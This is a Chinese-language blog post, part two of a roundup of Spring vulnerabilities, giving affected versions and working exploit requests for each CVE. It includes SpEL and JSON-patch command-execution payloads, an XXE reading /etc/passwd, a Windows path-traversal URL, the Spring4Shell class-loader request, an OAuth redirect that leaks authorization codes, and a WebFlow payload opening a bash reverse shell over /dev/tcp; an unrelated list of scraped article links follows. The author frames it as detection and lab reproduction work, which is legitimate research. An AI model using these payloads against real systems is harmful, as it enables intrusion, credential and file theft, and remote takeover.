前言

现在的 java 开放的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道哪些符合当前环境。

因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候,能够有一个更完整的思路去发现漏洞。

这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。

此合集由于内容较多,分为上下两部分。

上半部分内容:

  • Spring Boot Actuator 相关漏洞
  • Sping Boot 相关漏洞
  • Spring Cloud 相关漏洞

下半部分内容:

  • Spring Data 相关漏洞
  • Spring Framework 相关漏洞
  • Spring Security 相关漏洞
  • Spring WebFlow 相关漏洞

上半部分地址: spring漏洞合集 上

Spring Data 漏洞

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架

(CVE-2017-8046)Spring Data Rest 远程命令执行漏洞

影响范围

  • PivotalSpringDataREST2.5.12 之前的版本,2.6.7 之前的版本,3.0RC3 之前的版本
  • SpringBoot2.0.0M4 之前版本
  • SpringDataKay-RC3 之前的版本

参考文章

http://www.code2sec.com/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html

特征

header 头是 Content-Type: application/hal+json;charset=UTF-8

漏洞利用

PATCH http://localhost:18080/customers/1 HTTP/1.1
Host: localhost:18080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/1", "value": "vulhub" }]

必须是Content-Type: application/json-patch+json

op 是 replace 时,payload 后面必须有路径,不然不能触发 具体内容随意

op 是 test 不需要其他路径

漏洞环境

见 vulhub

(CVE-2018-1259)Spring Data xxe 漏洞

影响范围

  • Spring Data Commons 1.13-1.13.11 (Ingalls SR11)
  • Spring Data REST 2.6-2.6.11 (Ingalls SR11)
  • Spring Data Commons 2.0-2.0.6 (Kay SR6)
  • Spring Data REST 3.0-3.0.6 (Kay SR6)

测试环境

Spring Data xxe 本地环境

漏洞利用

需要对应参数名,如果参数名不存在 则无法触发,比如测试环境参数的是 firstname lastname 只能这两个参数触发,修改为其他的无法触发. 需要被动扫描能够解析 xml 啊

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user1><firstname>&xxe;</firstname><lastname>test</lastname></user1>

参考链接

https://blog.spoock.com/2018/05/16/cve-2018-1259/

(CVE-2018-1273)Spring Data Commons 组件远程代码执行漏洞

影响范围

  • Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)
  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现环境

vulhub

漏洞利用

poc

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

第二种 payload

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

Spring Framework

(CVE-2015-5211)Spring Framework 内容协商机制(content-negotiation)反射型文件下载(RFD)

RFD,即 Reflected File Download 反射型文件下载漏洞,是一个 2014 年来自 BlackHat 的漏洞。这个漏洞在原理上类似 XSS,在危害上类似 DDE:攻击者可以通过一个 URL 地址使用户下载一个恶意文件,从而危害用户的终端 PC。
这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal 和其他许多公司认为这是一个中危漏洞。
RFD 漏洞原理见 https://coolshell.me/articles/rfd-bug-reflect-spring-world.html
简单来说 鸡肋漏洞

影响范围

  • Spring Framework 4.2.0 版本至 4.2.1 版本
  • Spring Framework 4.0.0 版本至 4.1.7 版本
  • Spring Framework 3.2.0 版本至 3.2.14 版本
  • Spring Framework 更早的已不再支持的版本

参考链接

https://xz.aliyun.com/t/8341

(CVE-2020-5398)Spring Framework 反射型文件下载(RFD)

同上

影响范围

  • Spring Framework 5.2.0 – 5.2.2
  • Spring Framework 5.1.0 – 5.1.12
  • Spring Framework 5.0.0 – 5.0.15

(CVE-2020-5421)Spring Framework 反射型文件下载(RFD)

上个漏洞的绕过

影响范围

  • Spring Framework 5.2.0 - 5.2.8、5.1.0
  • Spring Framework 5.1.17、5.0.0
  • Spring Framework 5.0.18、4.3.0
  • Spring Framework 4.3.28 以及更早的不受支持的版本

参考链接

https://xz.aliyun.com/t/8341

(CVE-2018-1271)Spring Framework 目录穿越

依然是一个触发条件很苛刻的漏洞

利用条件

  • 要使用 file 协议打开资源文件目录
  • Windows 平台
  • 不能使用 Tomcat 或者 wildfy 等中间件(本环境演示使用的是 jetty 服务器)

payload

http://127.0.0.1:8080/spring-mvc-showcase/resources/static/..%5c/..%5c/windows/win.ini

参考链接

https://blog.spoock.com/2018/05/30/cve-2018-1271/

(CVE-2022-22965)Spring Framework 命令执行

核弹级漏洞 但是目前公开出来的利用方式就是 tomcat 环境下写 webshell

影响范围

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

漏洞环境

vulhub

漏洞复现

vulhub 提供的是直接写入 webshell 的,由于有些目标在验证时不允许写 webshell,这里做了修改,只是普通的打印一段字符串,用于验证漏洞。

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20out.println(%2211111111%22)%3b%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c2: <%
DNT: 1
Content-Length: 2

ps: 这个漏洞只能发送一次 payload 需要重启环境才能再次写入 原因未知

Spring Messaging

(CVE-2018-1270)Spring Messaging 远程命令执行

影响范围

  • Spring Java Framework < 5.0

漏洞利用

sockjs 通讯 非 http 协议 具体方法见https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270

复现环境

vulhub

Spring Security

(CVE-2016-4977)Spring Security OAuth2 远程命令执行

影响范围

  • Spring Security OAuth 2.0.0 版本至 2.0.9 版本
  • Spring Security OAuth 1.0.0 版本至 1.0.5 版本中

漏洞利用

就是普通的 spel 表达式注入 参数为response_type

复现环境

vulhub

(CVE-2018-1260)Spring Security Oauth2 远程代码执行

影响范围

  • Spring Security OAuth 2.3 to 2.3.2
  • Spring Security OAuth 2.2 to 2.2.1
  • Spring Security OAuth 2.1 to 2.1.1
  • Spring Security OAuth 2.0 to 2.0.14

利用方法

spel 表达式注入 无回显 需要 dnslog 漏洞参数scope

payload: ${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

参考链接

https://blog.spoock.com/2018/05/13/cve-2018-1260/

(CVE-2019-3778)Spring Security OAuth2 开放重定向

影响范围

  • Spring Security OAuth 2.3 to 2.3.4
  • Spring Security OAuth 2.2 to 2.2.3
  • Spring Security OAuth 2.1 to 2.1.3
  • Spring Security OAuth 2.0 to 2.0.16

限制条件

  • 有问题的 Spring Security OAuth2 版本
  • OAuth 认证使用授权码模式
  • 用户需要在登录的情况下

复现环境

漏洞利用

简单来说这个漏洞就是在利用 url 跳转偷认证票据

Blackhat 2019 有一篇文章"Make Redirection Evil Again URL Parser Issues in OAuth"中提到了一种利用方式,通过添加%ff,在服务端解析错误后,会将其变成?,从而达到 url 跳转的目的。

#访问链接
http://localhost:9090/oauth/authorize?response_type=code&client_id=ananaskr&redirect_uri=http://www.xxxx.com%ff@www.baidu.com&scope=all&client_secret=123456#跳转到http://www.xxxx.com并且在后面追加了认证票据code
http://www.xxxx.com?@www.baidu.com?code=xxxx

参考链接

https://xz.aliyun.com/t/7409

Spring WebFlow

(CVE-2017-4971)Spring WebFlow 远程代码执行

影响范围

Spring WebFlow 2.4.0 - 2.4.4

复现环境

vulhub

复现过程

# 数据包添加一个带漏洞的参数即可
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=xxxx

往期文章

  • 对目录扫描工具dirsearch 的一些小改造
  • Oneforall 子域名扫描工具分析与改造
  • Xpocsutie3:基于 pocsuite3 二次修改的 POC 检测框架

spring漏洞合集 下相关推荐

  1. Spring框架漏洞合集

    Spring框架漏洞合集 Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) 访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都 ...

  2. Laravel 漏洞合集

    Laravel 漏洞合集 Laravel 存在SQL注入漏洞 poc: /test?email=1&id=1 union select user()# /test?email=1/`& ...

  3. 关于那些最好玩的户外APP合集下(适合资深驴友、牛逼设计狮、装逼攻城狮)...

    本文会陆续分享分析全国最好的30个户外APP(下载量均至少在30万级别以上),希望能给户外爱好者.Ui设计狮.户外APP开发攻城狮一些启示. 关于那些最好玩的户外APP合集上(适合资深驴友.牛逼设计狮 ...

  4. 【死磕 Spring】—– 死磕 Spring 精品合集

    Java面经 2019-03-05 09:00:40 原文:http://cmsblogs.com/?cat=206 [死磕 Spring]-– IOC 之深入理解 Spring IoC [死磕 Sp ...

  5. Spring MVC漏洞合集

    Spring MVC 目录穿越漏洞(CVE-2018-1271) 漏洞简介 2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271).Spri ...

  6. 二十八种未授权访问漏洞合集(暂时最全)

    目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...

  7. MetInfo最新版代码审计漏洞合集

    最近想给 X 天贡献点插件,时常会去留意 seebug 的最新漏洞列表,发现最近 MetInfo 的漏洞上座率蛮高的,就挑它来代码审计了一波. seebug 上均是 MetInfo 6.0.0 版本的 ...

  8. struts2远程代码执行漏洞合集

    声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...

  9. [Vulhub] ThinkPHP漏洞合集

    文章目录 ThinkPHP 2.x 任意代码执行漏洞 0x00 漏洞描述 0x01 影响版本 0x02 靶场环境 0x03 漏洞分析 0x04 漏洞复现 0x05 getshell Thinkphp5 ...

最新文章

  1. 使用 U 盘制作 Ubuntu 系统启动盘
  2. html5 文本框限制,html中input禁止输入(禁止获得焦点)多种方法及input限制数字和长度...
  3. String 字符串最长可以有多长?
  4. VisualBox中增大linux硬盘空间的方法
  5. boost::core实现交换std::type_info
  6. ASP.NET Core MVC中的 [Required]与[BindRequired]
  7. mysql数据库文件上传大小控制_[mysql数据库文件大小限制]mysql导入数据库文件最大限制设置...
  8. asp.net 从客户端中检测到有潜在危险的 Request.Form 值
  9. python提取qq群成员代码_Python提取QQ群成员QQ号及昵称
  10. 微信小程序录制视频功能实现
  11. NPDP产品经理认证考试培训资料--XISAI
  12. 是java运行时环境的缩写,java运行环境的英文缩写
  13. 分段概率密度矩估计_2017年考研《数学一》大纲
  14. 开发一个App来为你的女神“化妆”!
  15. 三个可长期发展的网络副业,稳定的兼职渠道,不再为网络做苦力
  16. gradle版本与android的gradle插件版本兼容Unable to find method org.gradle.api.tasks.compile.CompileOptions.setB
  17. mysql 原子操作
  18. 香帅的北大金融学课笔记1 -- 金融世界观
  19. java ee学生信息管理_基于jsp的学籍学生信息信息管理系统-JavaEE实现学籍学生信息信息管理系统 - java项目源码...
  20. 我的物联网项目(三)平台架构

热门文章

  1. 计算机控制系统直流电机闭环调速实验,4.14直流电机闭环调速实验.pdf
  2. 已知顺丰快递既可以发陆运,也可以发空运;EMS只能发空运,圆通只能发陆运。 小明现在发送快递,为其设计两个方法,分别用来发空运和陆运。
  3. 简述使用数据库视图的主要优点
  4. 形变(Deform)开关的本质
  5. docker入门之HelloWorld
  6. 【HTML】做一个HTML的个人简介页面
  7. HCE Benchmark
  8. React Native小菜鸡的踩坑排雷记录(4)
  9. 普中科技51纯代码(流水灯)
  10. 约克大学计算机语言班,约克大学语言班